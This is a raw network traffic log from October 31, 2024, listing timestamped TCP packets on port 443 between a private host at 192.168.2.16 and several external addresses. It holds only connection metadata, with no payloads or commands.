Oct 31, 2024 21:55:23.122509003 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.122555017 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.122570038 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.123090982 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.123162031 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.123183966 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126137972 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126210928 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126239061 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126280069 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.126338005 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126405954 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.126575947 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126794100 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126818895 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126840115 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.126846075 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.126888037 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.131001949 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.174216032 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.174226046 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.174247980 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.222183943 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.242686033 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.242780924 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.242806911 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.242846012 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.242862940 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.242892981 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.242913008 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.242918015 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.242964029 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.243608952 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.243983030 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.244040012 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.244045019 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.244335890 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.244364023 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.244393110 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.244395018 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.244402885 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.244436979 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.244476080 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.244519949 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.244524956 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245443106 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245466948 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245500088 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.245507002 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245549917 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.245553017 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245599985 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245671988 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245697975 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245722055 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.245769978 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245803118 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.245832920 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.245861053 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.246284962 CET	51041	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.246315956 CET	443	51041	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.250251055 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.250283957 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.250375986 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.250616074 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.250626087 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.301233053 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.301244020 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.349178076 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.354686022 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.354921103 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.354940891 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.355639935 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.355916023 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.355967045 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.356069088 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.356093884 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.356153965 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.356175900 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.360248089 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.360315084 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.360342026 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.360369921 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.360383034 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.360419989 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.360445023 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.361074924 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.361104012 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.361126900 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.361134052 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.361145973 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.361179113 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.361949921 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.361955881 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.362015009 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.362020016 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.363897085 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.363955975 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.363961935 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364006042 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364022017 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.364027977 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364068985 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364072084 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.364078999 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364123106 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.364192009 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364240885 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.364351034 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364397049 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.364428997 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364489079 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.364515066 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.364558935 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.365006924 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.365066051 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.365489960 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.365552902 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.365621090 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.365665913 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.367043018 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.367254972 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:23.367280960 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.367579937 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.367849112 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:23.367907047 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.367945910 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:23.411375999 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.413214922 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:23.477368116 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.477458954 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.477631092 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.477685928 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.477716923 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.477768898 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.478239059 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.478300095 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.478452921 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.478503942 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.479003906 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.479063034 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.479147911 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.479207039 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.479461908 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.479526997 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.479751110 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.479810953 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.479845047 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.479892015 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.480202913 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.480264902 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.480360031 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.480408907 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.482606888 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.482685089 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.482757092 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.482811928 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.482914925 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.482944012 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.482971907 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.482978106 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.482981920 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.483011007 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.483011007 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.483668089 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.483726025 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.483731031 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.483774900 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.483827114 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.483855963 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.483885050 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.483890057 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.483901978 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.483930111 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.483936071 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.483983994 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.484605074 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.484659910 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.484716892 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.484771013 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.485120058 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.485182047 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.485208035 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.485260963 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.485410929 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.485444069 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.485472918 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.485477924 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.485502958 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.486027002 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.486087084 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.486092091 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.486166954 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.579977989 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.580073118 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.580147028 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.580988884 CET	51043	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.581002951 CET	443	51043	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.584177017 CET	51047	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.584225893 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.584319115 CET	51047	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.584522963 CET	51047	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.584542990 CET	443	51047	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.592076063 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.592169046 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.592216969 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.592794895 CET	51045	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.592823029 CET	443	51045	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.594331980 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.594399929 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.595192909 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.595228910 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.595264912 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.595272064 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.595283031 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.595597029 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.595611095 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.595653057 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.595659018 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.595689058 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.596432924 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.596446037 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.596512079 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.596518040 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.597786903 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.597799063 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.597857952 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.597862959 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.598104954 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.598119020 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.598191977 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.598197937 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.599178076 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.599189043 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.599241972 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.599248886 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.599706888 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.599723101 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.599765062 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.599770069 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.599807024 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.604043007 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.604057074 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.604121923 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.604130030 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.604331017 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.604342937 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.604387045 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.604393005 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.604417086 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.604939938 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.604954004 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605004072 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.605010033 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605036020 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.605200052 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605212927 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605251074 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.605254889 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605281115 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.605463028 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605474949 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605526924 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.605531931 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605547905 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605566978 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.605593920 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.605628014 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.605722904 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.605730057 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.605741978 CET	51042	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.605752945 CET	443	51042	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.605767965 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.605772972 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.605782032 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:23.605854988 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:23.609045982 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.609066010 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.609139919 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.609332085 CET	51048	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.609342098 CET	443	51048	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.609373093 CET	51040	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:23.609401941 CET	443	51040	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:23.626641989 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.626684904 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.626756907 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.626964092 CET	51049	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.626983881 CET	443	51049	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.629214048 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.629221916 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.629287004 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.629570007 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.629592896 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.629652977 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.629784107 CET	51050	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.629792929 CET	443	51050	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.629934072 CET	51051	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.629950047 CET	443	51051	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.921854019 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.921947002 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.921997070 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.922774076 CET	51044	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:23.922786951 CET	443	51044	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:23.922956944 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.923213005 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.923233032 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.924123049 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.924191952 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.924617052 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.924665928 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.925134897 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:23.925141096 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:23.981266022 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.157155991 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.157218933 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.157264948 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.157290936 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.157311916 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.157350063 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.157366991 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.157371998 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.157407045 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.157418013 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.157422066 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.157455921 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.157459021 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.176184893 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.176243067 CET	443	53720	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:24.176300049 CET	53720	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:24.182185888 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.182250023 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.182307959 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.182313919 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.182425976 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.182672977 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.182763100 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.182809114 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.183100939 CET	51046	443	192.168.2.16	188.114.97.3
Oct 31, 2024 21:55:24.183110952 CET	443	51046	188.114.97.3	192.168.2.16
Oct 31, 2024 21:55:24.185864925 CET	53720	443	192.168.2.16	188.114.96.3
